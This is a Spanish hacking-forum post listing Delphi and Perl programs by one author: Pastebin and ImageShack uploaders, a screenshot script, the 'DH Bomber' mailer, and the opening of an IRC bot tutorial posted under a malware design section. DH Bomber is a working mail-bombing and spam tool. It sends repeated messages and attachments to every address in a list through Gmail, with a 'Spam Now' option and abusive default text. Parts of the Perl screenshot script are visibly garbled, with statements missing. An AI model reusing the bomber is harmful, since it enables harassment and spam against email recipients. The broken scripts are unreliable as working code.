|
151
|
Programación / Programación General / [Delphi] DH PasteBin Manager 0.2
|
en: 18 Octubre 2013, 18:00 pm
|
Un simple programa en delphi para subir y bajar codigos en pastebin. Unas imagenes : Los codigos : Menu // DH PasteBin Manager 0.2 // (C) Doddy Hackman 2013 unit paste; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdMultipartFormData, PerlRegEx, sSkinManager, ComCtrls, sStatusBar, sGroupBox, sMemo, sButton, sEdit, sLabel, sListBox, acPNG, ExtCtrls; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; Image1: TImage; sGroupBox1: TsGroupBox; sButton1: TsButton; sButton2: TsButton; sButton3: TsButton; sButton4: TsButton; procedure FormCreate(Sender: TObject); procedure sButton3Click(Sender: TObject); procedure sButton4Click(Sender: TObject); procedure sButton1Click(Sender: TObject); procedure sButton2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation uses formdown, formup; {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); var dir: string; begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'matrix'; sSkinManager1.Active := True; dir := ExtractFilePath(Application.ExeName) + '/downloads'; if not(DirectoryExists(dir)) then begin CreateDir(dir); end; ChDir(dir); end; procedure TForm1.sButton1Click(Sender: TObject); begin Form3.Show; end; procedure TForm1.sButton2Click(Sender: TObject); begin Form2.Show; end; procedure TForm1.sButton3Click(Sender: TObject); begin ShowMessage('Contact to lepuke[at]hotmail[com]'); end; procedure TForm1.sButton4Click(Sender: TObject); begin Form1.Close(); end; end. // The End ?
Uploader // DH PasteBin Manager 0.2 // (C) Doddy Hackman 2013 unit formup; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, sButton, sEdit, sLabel, sGroupBox, acPNG, ExtCtrls, ComCtrls, sStatusBar, PerlRegEx, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdMultipartFormData, sMemo; type TForm3 = class(TForm) sGroupBox4: TsGroupBox; sLabel3: TsLabel; sLabel4: TsLabel; sEdit3: TsEdit; sEdit4: TsEdit; sGroupBox5: TsGroupBox; sButton3: TsButton; sButton4: TsButton; sButton5: TsButton; Image1: TImage; sStatusBar1: TsStatusBar; OpenDialog1: TOpenDialog; IdHTTP1: TIdHTTP; PerlRegEx1: TPerlRegEx; sMemo1: TsMemo; procedure sButton4Click(Sender: TObject); procedure sButton5Click(Sender: TObject); procedure sButton3Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form3: TForm3; implementation {$R *.dfm} procedure TForm3.sButton3Click(Sender: TObject); var datos: TIdMultiPartFormDataStream; code: string; titulo: string; contenido: string; archivo: TextFile; texto: string; begin titulo := ExtractFileName(sEdit3.Text); sMemo1.Lines.Clear; AssignFile(archivo, sEdit3.Text); Reset(archivo); while not Eof(archivo) do begin ReadLn(archivo, texto); sMemo1.Lines.Add(texto); end; CloseFile(archivo); contenido := sMemo1.Lines.Text; datos := TIdMultiPartFormDataStream.Create; datos.AddFormField('api_dev_key', 'fuck you'); datos.AddFormField('api_option', 'paste'); datos.AddFormField('api_paste_name', titulo); datos.AddFormField('api_paste_code', contenido); sStatusBar1.Panels[0].Text := '[+] Uploading ...'; Form3.sStatusBar1.Update; code := IdHTTP1.Post('http://pastebin.com/api/api_post.php', datos); PerlRegEx1.Regex := 'pastebin'; PerlRegEx1.Subject := code; if PerlRegEx1.Match then begin sStatusBar1.Panels[0].Text := '[+] Done'; Form3.sStatusBar1.Update; sEdit4.Text := code; end else begin sStatusBar1.Panels[0].Text := '[-] Error Uploading'; Form3.sStatusBar1.Update; end; end; procedure TForm3.sButton4Click(Sender: TObject); begin OpenDialog1.InitialDir := GetCurrentDir; if OpenDialog1.Execute then begin sEdit3.Text := OpenDialog1.FileName; end; end; procedure TForm3.sButton5Click(Sender: TObject); begin sEdit4.SelectAll; sEdit4.CopyToClipboard; end; end. // The End ?
El downloader. // DH PasteBin Manager 0.2 // (C) Doddy Hackman 2013 unit formdown; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, sListBox, sButton, sEdit, sLabel, sGroupBox, PerlRegEx, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, acPNG, ExtCtrls, ComCtrls, sStatusBar, sMemo, acProgressBar; type TForm2 = class(TForm) sGroupBox1: TsGroupBox; sGroupBox2: TsGroupBox; sLabel1: TsLabel; sLabel2: TsLabel; sEdit1: TsEdit; sEdit2: TsEdit; sButton1: TsButton; sGroupBox3: TsGroupBox; sListBox1: TsListBox; sButton2: TsButton; IdHTTP1: TIdHTTP; PerlRegEx1: TPerlRegEx; PerlRegEx2: TPerlRegEx; Image1: TImage; sStatusBar1: TsStatusBar; sProgressBar1: TsProgressBar; procedure sButton1Click(Sender: TObject); procedure sButton2Click(Sender: TObject); procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode; AWorkCount: Int64); procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode; AWorkCountMax: Int64); procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode); private { Private declarations } public { Public declarations } end; var Form2: TForm2; implementation {$R *.dfm} procedure TForm2.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode; AWorkCount: Int64); begin sProgressBar1.Position := AWorkCount; sStatusBar1.Panels[0].Text := '[+] Downloading ...'; Form2.sStatusBar1.Update; end; procedure TForm2.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode; AWorkCountMax: Int64); begin sProgressBar1.Max := AWorkCountMax; sStatusBar1.Panels[0].Text := '[+] Starting download ...'; Form2.sStatusBar1.Update; end; procedure TForm2.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode); begin sProgressBar1.Position := 0; sStatusBar1.Panels[0].Text := '[+] Finished'; Form2.sStatusBar1.Update; end; procedure TForm2.sButton1Click(Sender: TObject); var url: string; url2: string; code: string; i: integer; viendo: string; chau: TStringList; begin // chau := TStringList.Create; chau.Duplicates := dupIgnore; chau.Sorted := True; chau.Assign(sListBox1.Items); sListBox1.Items.Clear; sListBox1.Items.Assign(chau); url := sEdit1.Text; url2 := sEdit2.Text; if not(url = '') then begin PerlRegEx1.Regex := 'pastebin'; PerlRegEx1.Subject := url; if PerlRegEx1.Match then begin sListBox1.Items.Add(url); end; end; if not(url2 = '') then begin code := IdHTTP1.Get(url2); PerlRegEx1.Regex := '(.)(http://.+?)\1'; PerlRegEx1.Subject := code; while PerlRegEx1.MatchAgain do begin for i := 1 to PerlRegEx1.SubExpressionCount do begin viendo := PerlRegEx1.SubExpressions[i]; PerlRegEx2.Regex := 'pastebin'; PerlRegEx2.Subject := viendo; if PerlRegEx2.Match then begin sListBox1.Items.Add(viendo); end; end; end; end; end; procedure TForm2.sButton2Click(Sender: TObject); var url: string; urlabajar: string; id: string; code: string; titulo: string; i: integer; archivobajado: TFileStream; begin for i := sListBox1.Items.Count - 1 downto 0 do begin // url := sListBox1.Items[i]; PerlRegEx1.Regex := 'http:\/\/(.*)\/(.*)'; PerlRegEx1.Subject := url; if PerlRegEx1.Match then begin urlabajar := 'http://pastebin.com/download.php?i=' + PerlRegEx1.SubExpressions[2]; // sMemo1.Lines.Add(urlabajar); code := IdHTTP1.Get(url); PerlRegEx2.Regex := '<div class="paste_box_line1" title="(.*)">'; PerlRegEx2.Subject := code; if PerlRegEx2.Match then begin titulo := PerlRegEx2.SubExpressions[1]; // sMemo1.Lines.Add(titulo); // Baja esto carajo // sStatusBar1.Panels[0].Text := '[+] Downloading :' + urlabajar; // Form2.sStatusBar1.Update; archivobajado := TFileStream.Create(titulo + '.txt', fmCreate); try begin DeleteFile(titulo); IdHTTP1.Get(urlabajar, archivobajado); sStatusBar1.Panels[0].Text := '[+] File Dowloaded'; Form2.sStatusBar1.Update; archivobajado.Free; end; except sStatusBar1.Panels[0].Text := '[-] Failed download'; Form2.sStatusBar1.Update; archivobajado.Free; Abort; end; // end; end; // end; sStatusBar1.Panels[0].Text := '[+] Done'; Form2.sStatusBar1.Update; end; end. // The End ?
Si quieren bajar el proyecto y el ejecutable lo pueden hacer de aca.
|
|
|
152
|
Programación / Programación General / [Delphi] ImageShack Uploader 0.1
|
en: 11 Octubre 2013, 19:55 pm
|
Un simple programa para subir imagenes a ImageShack. Una imagen : El codigo : // ImageShack Uploader 0.1 // Based in the API of ImageShack // Coded By Doddy H unit image; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdMultipartFormData, Buttons, sGroupBox, sSkinManager, sButton, sEdit, ComCtrls, sStatusBar, acPNG, ExtCtrls, PerlRegEx; type TForm1 = class(TForm) IdHTTP1: TIdHTTP; sSkinManager1: TsSkinManager; sGroupBox1: TsGroupBox; sEdit1: TsEdit; sButton1: TsButton; sGroupBox2: TsGroupBox; sEdit2: TsEdit; sStatusBar1: TsStatusBar; sGroupBox3: TsGroupBox; sButton2: TsButton; sButton3: TsButton; sButton4: TsButton; sButton5: TsButton; Image1: TImage; OpenDialog1: TOpenDialog; PerlRegEx1: TPerlRegEx; procedure FormCreate(Sender: TObject); procedure sButton2Click(Sender: TObject); procedure sButton5Click(Sender: TObject); procedure sButton4Click(Sender: TObject); procedure sButton1Click(Sender: TObject); procedure sButton3Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'cold'; sSkinManager1.Active := True; OpenDialog1.InitialDir := GetCurrentDir; end; procedure TForm1.sButton1Click(Sender: TObject); begin if OpenDialog1.Execute then begin sEdit1.Text := OpenDialog1.FileName; end; end; procedure TForm1.sButton2Click(Sender: TObject); var datos: TIdMultiPartFormDataStream; code: string; begin if FileExists(sEdit1.Text) then begin sStatusBar1.Panels[0].Text := '[+] Uploading ...'; Form1.sStatusBar1.Update; datos := TIdMultiPartFormDataStream.Create; datos.AddFormField('key', 'fuck you'); datos.AddFile('fileupload', sEdit1.Text, 'application/octet-stream'); datos.AddFormField('format', 'json'); code := IdHTTP1.Post('http://post.imageshack.us/upload_api.php', datos); PerlRegEx1.Regex := '"image_link":"(.*?)"'; PerlRegEx1.Subject := code; if PerlRegEx1.Match then begin sEdit2.Text := PerlRegEx1.SubExpressions[1]; sStatusBar1.Panels[0].Text := '[+] Done'; Form1.sStatusBar1.Update; end else begin sStatusBar1.Panels[0].Text := '[-] Error uploading'; Form1.sStatusBar1.Update; end; end else begin sStatusBar1.Panels[0].Text := '[+] File not Found'; Form1.sStatusBar1.Update; end; end; procedure TForm1.sButton3Click(Sender: TObject); begin sEdit2.SelectAll; sEdit2.CopyToClipboard; end; procedure TForm1.sButton4Click(Sender: TObject); begin ShowMessage('Contact to lepuke[at]hotmail[com]'); end; procedure TForm1.sButton5Click(Sender: TObject); begin Form1.Close(); end; end. // The End ?
Si lo quieren bajar lo pueden hacer de aca.
|
|
|
153
|
Programación / Scripting / [Perl] DH ScreenShoter 0.1
|
en: 4 Octubre 2013, 19:31 pm
|
Un simple script en perl para sacar un screenshot y subirlo a imageshack. El codigo : #!usr/bin/perl #DH ScreenShoter 0.1 #Coded By Doddy H #ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd #ppm install http://www.bribes.org/perl/ppm/Crypt-SSLeay.ppd use Win32::GuiTest qw(GetAsyncKeyState GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys ); use Win32::Clipboard; use Time::HiRes "usleep"; use LWP::UserAgent; my $nave = LWP::UserAgent->new; $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); $nave->timeout(5); $|++; my $time; my $nombrefecha; my ( $dia, $mes, $año, $hora, $minutos, $segundos ) = agarrate_la_hora(); $nombrefecha = $dia . "_" . $mes . "_" . $año . "_" . $hora . "_" . $minutos . "_" . $segundos; my $se = "captures"; unless ( -d $se ) { } head(); print "[+] Save Photo with this name : "; chomp( my $filename = <stdin> ); print "\n[+] Get Photo in this time : "; chomp( my $timeop = <stdin> ); print "\n[+] Open photo after taking it ? : "; chomp( my $load_image = <stdin> ); print "\n[+] Upload image to ImageShack ? : "; chomp( my $imageshack = <stdin> ); print "\n[+] Taking shot in "; if ( $timeop eq "" ) { $time = 1; } else { $time = $timeop; } for my $num ( reverse 1 .. $time ) { } if ( $filename eq "" ) { capturar_pantalla( $nombrefecha . ".jpg" ); } else { capturar_pantalla($filename); } print "\n\n[+] Photo Taken\n"; if ( $imageshack =~ /y/ ) { if ( $filename eq "" ) { subirarchivo( $nombrefecha . ".jpg" ); } else { subirarchivo($filename); } } if ( $load_image =~ /y/ ) { if ( $filename eq "" ) { system( $nombrefecha. ".jpg" ); } else { } } copyright(); ## Functions sub subirarchivo { my $your_key = "fuck you"; #Your API Key print "\n[+] Uploading ...\n"; my $code = $nave->post( "https://post.imageshack.us/upload_api.php", Content_Type => "form-data", Content => [ key => $your_key, fileupload => [ $_[0] ], ] )->content; if ( $code =~ /"image_link":"(.*?)"/ ) { print "\n[+] Link : " . $1 . "\n"; } else { print "\n[-] Error uploading the image\n"; } } sub head { my @logo = ( "#=============================================#", "\n", "# DH ScreenShoter 0.1 #", "\n", "#---------------------------------------------#", "\n", "# Written By Doddy H #", "\n", "# Email: lepuke[at]hotmail[com] #", "\n", "# Website: doddyhackman.webcindario.com #", "\n", "#---------------------------------------------#", "\n", "# The End ? #", "\n", "#=============================================#", "\n" ); marquesina(@logo); } sub copyright { my @fin = ("-- == (C) Doddy Hackman 2012 == --"); marquesina(@fin); <stdin>; } sub capturar_pantalla { SendKeys("%{PRTSCR}"); my $a = Win32::Clipboard::GetBitmap(); open( FOTO , ">" . $_[0] ); } sub marquesina { #Effect based in the exploits by Jafer Al Zidjali my @logo = @_; my $car = "|"; for my $uno (@logo) { for my $dos ( split //, $uno ) { $|++; if ( $car eq "|" ) { mostrar( "\b" . $dos . $car, "/" ); } elsif ( $car eq "/" ) { mostrar( "\b" . $dos . $car, "-" ); } elsif ( $car eq "-" ) { mostrar( "\b" . $dos . $car, "\\" ); } else { mostrar( "\b" . $dos . $car, "|" ); } usleep(40_000); } } sub mostrar { $car = $_[1]; } } sub agarrate_la_hora { $f += 1900; $e++; $d, $e, $f, $c, $b, $a ); } ## The End ?
|
|
|
154
|
Programación / Scripting / [Perl Tk] DH Bomber 0.2
|
en: 27 Septiembre 2013, 17:50 pm
|
Un simple script para mandar mensajes de correo a donde quieran , para usarlo necesitan una cuenta en gmail , lo nuevo de esta version es que use otro modulo que hace que el script no tenga tantas dependencias como en la ultima version. El codigo : #!usr/bin/perl #DH Bomber 0.2 #Coded By Doddy H use Win32::OLE; head(); chomp( my $host = <stdin> ); chomp( my $puerto = <stdin> ); print "\n[+] Username : "; chomp( my $username = <stdin> ); print "\n[+] Password : "; chomp( my $password = <stdin> ); print "\n[+] Count Message : "; chomp( my $count = <stdin> ); chomp( my $to = <stdin> ); print "\n[+] Subject : "; chomp( my $asunto = <stdin> ); chomp( my $body = <stdin> ); print "\n[+] File to Send : "; chomp( my $file = <stdin> ); print "\n[+] Starting ...\n\n"; for my $num ( 1 .. $count ) { print "[+] Sending Message : $num\n"; sendmail( $host, $puerto, $username, $password, $username, $username, $username, $to, $asunto, $body, $file ); } print "\n[+] Finished\n"; copyright(); sub head { print "\n\n-- == DH Bomber 0.2 == --\n\n"; } sub copyright { print "\n\n(C) Doddy Hackman 2013\n\n"; } sub sendmail { ## Function Based on : http://code.activestate.com/lists/pdk/5351/ ## Credits : Thanks to Phillip Richcreek and Eric Promislow my ( $host, $port, $username, $password, $from, $cc, $bcc, $to, $asunto, $mensaje, $file ) = @_; $correo = Win32::OLE->new('CDO.Message'); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/sendusername', $username ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/sendpassword', $password ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/smtpserver', $host ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/smtpserverport', $port ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/smtpusessl', 1 ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/sendusing', 2 ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/smtpauthenticate', 1 ); $correo->Configuration->Fields->Update(); if ( -f $file ) { $correo->AddAttachment($file); } $correo->{From} = $from; $correo->{CC} = $cc; $correo->{BCC} = $bcc; $correo->{To} = $to; $correo->{Subject} = $asunto; $correo->{TextBody} = $mensaje; $correo->Send(); } # The End ?
Y aca les dejo la version Tk. Una imagen : El codigo : #!usr/bin/perl #DH Bomber 0.2 #Coded By Doddy H use Tk; use Tk::ROText; use Tk::FileSelect; use Cwd; use Win32::OLE; if ( $^O eq 'MSWin32' ) { use Win32::Console; Win32::Console::Free(); } my $color_fondo = "black"; my $color_texto = "white"; my $ve = MainWindow->new( -background => $color_fondo, -foreground => $color_texto ); $ve->geometry("920x560+20+20"); $ve->resizable( 0, 0 ); $ve->title("DH Bomber 0.2 (C) Doddy Hackman 2013"); $d = $ve->Frame( -relief => "sunken", -bd => 1, -background => $color_fondo, -foreground => $color_texto ); my $ma = $d->Menubutton( -text => "Mails", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); my $op = $d->Menubutton( -text => "Options", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); my $ab = $d->Menubutton( -text => "About", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); my $ex = $d->Menubutton( -text => "Exit", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); $d->pack( -side => "top", -fill => "x" ); $ma->command( -label => "Add Mailist", -background => $color_fondo, -foreground => $color_texto, -command => \&addmailist ); $ma->command( -label => "Add Mail", -background => $color_fondo, -foreground => $color_texto, -command => \&addmail ); $ma->command( -label => "Clean List", -background => $color_fondo, -foreground => $color_texto, -command => \&delist ); $op->command( -label => "Spam Now", -background => $color_fondo, -foreground => $color_texto, -command => \&spamnow ); $op->command( -label => "Add Attachment", -background => $color_fondo, -foreground => $color_texto, -command => \&addfile ); $op->command( -label => "Clean All", -background => $color_fondo, -foreground => $color_texto, -command => \&clean ); $ab->command( -label => "About", -background => $color_fondo, -foreground => $color_texto, -command => \&about ); $ex->command( -label => "Exit", -background => $color_fondo, -foreground => $color_texto, -command => \&chali ); $ve->Label( -text => "Gmail Login", -font => "Impact3", -background => $color_fondo, -foreground => $color_texto )->place( -x => 100, -y => 40 ); $ve->Label( -text => "Username : ", -background => $color_fondo, -foreground => $color_texto )->place( -x => 20, -y => 80 ); my $user = $ve->Entry( -width => 30, -text => 'lagartojuancho@gmail.com', -background => $color_fondo, -foreground => $color_texto )->place( -y => 83, -x => 85 ); $ve->Label( -text => "Password : ", -background => $color_fondo, -foreground => $color_texto )->place( -x => 20, -y => 120 ); my $pass = $ve->Entry( -show => "*", -width => 30, -text => 'Secret', -background => $color_fondo, -foreground => $color_texto )->place( -y => 123, -x => 85 ); $ve->Label( -text => "Message", -font => "Impact3", -background => $color_fondo, -foreground => $color_texto )->place( -x => 110, -y => 160 ); $ve->Label( -text => "Number : ", -background => $color_fondo, -foreground => $color_texto )->place( -x => 20, -y => 210 ); my $number = $ve->Entry( -width => 5, -text => "1", -background => $color_fondo, -foreground => $color_texto )->place( -x => 75, -y => 212 ); $ve->Label( -text => "Attachment : ", -background => $color_fondo, -foreground => $color_texto )->place( -x => 20, -y => 240 ); my $fi = $ve->Entry( -text => 'None', -width => 30, -background => $color_fondo, -foreground => $color_texto )->place( -x => 90, -y => 242 ); $ve->Label( -text => "Subject : ", -background => $color_fondo, -foreground => $color_texto )->place( -x => 20, -y => 270 ); my $tema = $ve->Entry( -text => "Hi idiot", -width => 20, -background => $color_fondo, -foreground => $color_texto )->place( -x => 73, -y => 273 ); $ve->Label( -text => "Body", -font => "Impact3", -background => $color_fondo, -foreground => $color_texto )->place( -x => 110, -y => 310 ); my $body = $ve->Scrolled( "Text", -width => 30, -height => 12, -background => $color_fondo, -foreground => $color_texto, -scrollbars => "e" )->place( -x => 45, -y => 350 ); $body->insert( "end", "Welcome to the hell" ); $ve->Label( -text => "Mailist", -font => "Impact3", -background => $color_fondo, -foreground => $color_texto )->place( -y => 40, -x => 400 ); my $mailist = $ve->Listbox( -height => 31, -width => 33, -background => $color_fondo, -foreground => $color_texto )->place( -y => 85, -x => 330 ); $ve->Label( -text => "Console", -font => "Impact3", -background => $color_fondo, -foreground => $color_texto )->place( -y => 40, -x => 685 ); my $console = $ve->Scrolled( "ROText", -width => 40, -height => 31, -background => $color_fondo, -foreground => $color_texto, -scrollbars => "e" )->place( -x => 580, -y => 84 ); MainLoop; sub addmailist { my $adda = MainWindow->new( -background => $color_fondo, -foreground => $color_texto ); $adda->geometry("400x90+20+20"); $adda->resizable( 0, 0 ); $adda->title("Add Mailist"); $adda->Label( -text => "Mailist : ", -background => $color_fondo, -foreground => $color_texto, -font => "Impact1" )->place( -x => 10, -y => 30 ); my $en = $adda->Entry( -background => $color_fondo, -foreground => $color_texto, -width => 33 )->place( -y => 33, -x => 75 ); $adda->Button( -text => "Browse", -background => $color_fondo, -foreground => $color_texto, -width => 7, -activebackground => $color_texto, -command => \&brona )->place( -y => 33, -x => 285 ); $adda->Button( -text => "Load", -background => $color_fondo, -foreground => $color_texto, -width => 7, -activebackground => $color_texto, -command => \&bronaxa )->place( -y => 33, -x => 340 ); sub brona { $browse = $adda->FileSelect( -directory => getcwd() ); my $file = $browse->Show; $en->configure( -text => $file ); } sub bronaxa { @words = <FILE>; for (@words) { $mailist->insert( "end", $_ ); } } } sub addfile { my $addax = MainWindow->new( -background => $color_fondo, -foreground => $color_texto ); $addax->geometry("390x90+20+20"); $addax->resizable( 0, 0 ); $addax->title("Add File"); $addax->Label( -text => "File : ", -background => $color_fondo, -foreground => $color_texto, -font => "Impact1" )->place( -x => 10, -y => 30 ); my $enaf = $addax->Entry( -background => $color_fondo, -foreground => $color_texto, -width => 33 )->place( -y => 33, -x => 55 ); $addax->Button( -text => "Browse", -background => $color_fondo, -foreground => $color_texto, -width => 7, -activebackground => $color_texto, -command => \&bronax )->place( -y => 33, -x => 265 ); $addax->Button( -text => "Load", -background => $color_fondo, -foreground => $color_texto, -width => 7, -activebackground => $color_texto, -command => \&bronaxx )->place( -y => 33, -x => 320 ); sub bronax { $browse = $addax->FileSelect( -directory => getcwd() ); my $filea = $browse->Show; $enaf->configure( -text => $filea ); } sub bronaxx { $fi->configure( -text => $enaf->get ); } } sub addmail { my $add = MainWindow->new( -background => $color_fondo, -foreground => $color_texto ); $add->geometry("350x90+20+20"); $add->resizable( 0, 0 ); $add->title("Add Mail"); $add->Label( -text => "Mail : ", -background => $color_fondo, -foreground => $color_texto, -font => "Impact1" )->place( -x => 10, -y => 30 ); my $ew = $add->Entry( -background => $color_fondo, -foreground => $color_texto, -width => 33 )->place( -y => 33, -x => 60 ); $add->Button( -text => "Add", -background => $color_fondo, -activebackground => $color_texto, -foreground => $color_texto, -width => 7, -command => \&addnow )->place( -y => 33, -x => 275 ); sub addnow { $mailist->insert( "end", $ew->get ); } } sub delist { $mailist->delete( 0.0, "end" ); } sub spamnow { $console->delete( 0.1, "end" ); $console->insert( "end", "[+] Starting the Party\n\n" ); my @mails = $mailist->get( "0.0", "end" ); for my $mail (@mails) { my $text = $body->get( "1.0", "end" ); if ( $fi->get eq "None" ) { for ( 1 .. $number->get ) { $ve->update; $console->insert( "end", "[+] Mail Number " . $_ . " to $mail\n" ); sendmail( "smtp.gmail.com", "465", $user->get, $pass->get, $user->get, $user->get, $user->get, $mail, $tema->get, $text, "" ); } } else { for ( 1 .. $number->get ) { $ve->update; $console->insert( "end", "[+] Mail Number " . $_ . " to $mail\n" ); sendmail( "smtp.gmail.com", "465", $user->get, $pass->get, $user->get, $user->get, $user->get, $mail, $tema->get, $text, $fi->get ); } } } $console->insert( "end", "\n\n[+] Finished" ); } sub clean { $user->configure( -text => " " ); $pass->configure( -text => " " ); $number->configure( -text => " " ); $fi->configure( -text => "None" ); $tema->configure( -text => " " ); $body->delete( 0.1, "end" ); $mailist->delete( 0.0, "end" ); $console->delete( 0.1, "end" ); } sub about { $about = MainWindow->new( -background => "black" ); $about->title("About"); $about->geometry("300x110"); $about->resizable( 0, 0 ); $about->Label( -background => "black", -foreground => "white" )->pack(); $about->Label( -text => "Contact : lepuke[at]hotmail[com]", -font => "Impact", -background => "black", -foreground => "white" )->pack(); $about->Label( -text => "Web : doddyhackman.webcindario.com", -font => "Impact", -background => "black", -foreground => "white" )->pack(); $about->Label( -text => "Blog : doddy-hackman.blogspot.com", -font => "Impact", -background => "black", -foreground => "white" )->pack(); } sub sendmail { ## Function Based on : http://code.activestate.com/lists/pdk/5351/ ## Credits : Thanks to Phillip Richcreek and Eric Promislow my ( $host, $port, $username, $password, $from, $cc, $bcc, $to, $asunto, $mensaje, $file ) = @_; $correo = Win32::OLE->new('CDO.Message'); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/sendusername', $username ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/sendpassword', $password ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/smtpserver', $host ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/smtpserverport', $port ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/smtpusessl', 1 ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/sendusing', 2 ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/smtpauthenticate', 1 ); $correo->Configuration->Fields->Update(); if ( -f $file ) { $correo->AddAttachment($file); } $correo->{From} = $from; $correo->{CC} = $cc; $correo->{BCC} = $bcc; $correo->{To} = $to; $correo->{Subject} = $asunto; $correo->{TextBody} = $mensaje; $correo->Send(); } #The End ?
|
|
|
155
|
Seguridad Informática / Análisis y Diseño de Malware / [Delphi] Creacion de un IRC Bot
|
en: 24 Septiembre 2013, 21:37 pm
|
[Titulo] : Creacion de un IRC Bot [Lenguaje] : Delphi [Autor] : Doddy Hackman [Temario] -- =================-------- 0x01 : Introduccion 0x02 : Conectando con el servidor 0x03 : Listando usuarios 0x04 : Mandar mensajes 0x05 : Recibir privados 0x06 : Reconocer comandos 0x07 : Testeando 0x08 : Bibliografia -- =================-------- 0x01 : Introduccion Bueno , voy a empezar este manual sobre como hacer un bot irc. Para este manual necesitan tener instalado TIdIRC y TPerlRegEx en Delphi , el primero me vino por defecto en Delphi 2010 y el segundo lo pueden bajar e instalar acaNota : Proximamente presentare mi irc bot llamado Claptrap en honor al robot de bordelands xDD. ¿ Que es IRC ? Segun wikipedia , IRC (Internet Relay Chat) es un protocolo de comunicación en tiempo real basado en texto, que permite debates entre dos o más personas. Se diferencia de la mensajería instantánea en que los usuarios no deben acceder a establecer la comunicación de antemano, de tal forma que todos los usuarios que se encuentran en un canal pueden comunicarse entre sí, aunque no hayan tenido ningún contacto anterior. Las conversaciones se desarrollan en los llamados canales de IRC, designados por nombres que habitualmente comienzan con el carácter # o & (este último sólo es utilizado en canales locales del servidor). Es un sistema de charlas ampliamente utilizado por personas de todo el mundo. 0x02 : Conectando con el servidor Lo de siempre , creamos un proyecto nuevo de la siguiente forma : File->New->VCL Forms Application , como en la siguiente imagen. Una vez hecho esto vamos a crear la interfaz para todo el manual. Lo que vamos a necesitar es usar : 6 Labels 3 Edit 3 Botones 1 ListBox (para los usuarios conectados) 2 Memo Y los componentes TPerlRegEx y IdIRC Una imagen de como deberia quedar : Una vez hecho esto llego la hora de realizar la conexion , entonces hacemos doble click en el boton de "conectar" o el nombre que le pusieron ustedes para poner el siguiente codigo : procedure TForm1.Button1Click(Sender: TObject); begin IdIRC1.Host := Edit1.Text; // Usamos el contenido de Edit1 para reconocer el host a conectarse IdIRC1.Port := 6667; // Usamos 6667 para el puerto del host IdIRC1.Nickname := Edit3.Text; // Usamos el contenido de Edit3.Text como nickname IdIRC1.Username := Edit3.Text + ' 1 1 1 1'; // Declaramos el username para entrar IdIRC1.AltNickname := Edit3.Text + '-123'; // Declaramos el nick alternativo try // Intentamos hacer esto .... begin IdIRC1.Connect; // Iniciamos la conexion IdIRC1.Join(Edit2.Text); // Usamos Edit2 como el nombre del canal a entrar end; except // Si algo sale mal ... begin ShowMessage('Error'); // Mostramos error con ShowMessage() end; end; end;
Una imagen de como quedo : Con esto ya tenemos la conexion entonces usamos el segundo boton llamado "desconectar" o el nombre que ustedes le pusieron , hacemos doble click y agregamos este codigo : procedure TForm1.Button2Click(Sender: TObject); begin IdIRC1.Disconnect; // Nos desconectamos del canal en el que estamos end;
